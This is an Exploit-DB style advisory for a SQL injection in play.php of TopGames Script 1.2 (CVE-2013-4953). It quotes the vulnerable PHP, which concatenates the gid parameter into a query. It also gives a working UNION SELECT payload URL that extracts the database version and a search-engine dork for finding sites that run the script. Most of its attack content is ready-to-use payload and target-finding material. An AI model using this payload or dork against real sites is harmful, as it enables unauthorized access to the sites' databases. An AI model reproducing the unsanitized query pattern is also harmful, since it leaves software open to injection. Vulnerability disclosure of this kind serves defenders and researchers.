Top Games Script 1.2 - 'play.php?gid' SQL Injection
Author: AtT4CKxT3rR0r1ST
type: webapps
platform: php
port:
date_added: 2013-06-24
date_updated: 2013-06-29
verified: 1
codes: OSVDB-94712;CVE-2013-4953
tags:
aliases:
screenshot_url: http://www.exploit-db.com/screenshots/idlt26500/topgames.png
application_url: http://www.exploit-db.comTopGamesScript-v1.2.zip
TopGamesScript-v1.2 (play.php) Sql Injection Vulnerability
====================================================================
####################################################################
.:. Author : AtT4CKxT3rR0r1ST
.:. Contact : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]
.:. Home : http://www.iphobos.com/blog/
.:. Script :
http://sourceforge.net/projects/gamesscript/files/latest/download?source=directory
.:. Dork : inurl:"play.php?gid=" "Powered By TopGames.ws"
####################################################################
######################################
VULNERABILITY: CLASSIC MYSQL INJECTION
######################################
/play.php (LINE: 4-19)
-----------------------------------------------------------------------------
$gameID= $_GET['gid'];
$con = mysql_connect($dbserver,$dbuser,$dbpassword);
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db($dbname, $con);
$sqlselect="SELECT * FROM games WHERE gameid=" . $gameID;
$result = mysql_query($sqlselect);
$row = mysql_fetch_array($result);
$gwidth = $row['width'];
$gheight = $row['height'];
-----------------------------------------------------------------------------
#####################################################
EXPLOIT
#####################################################
http://localhost/TopGamesScript/play.php?gid=null and 1=2 UNION SELECT
1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
####################################################################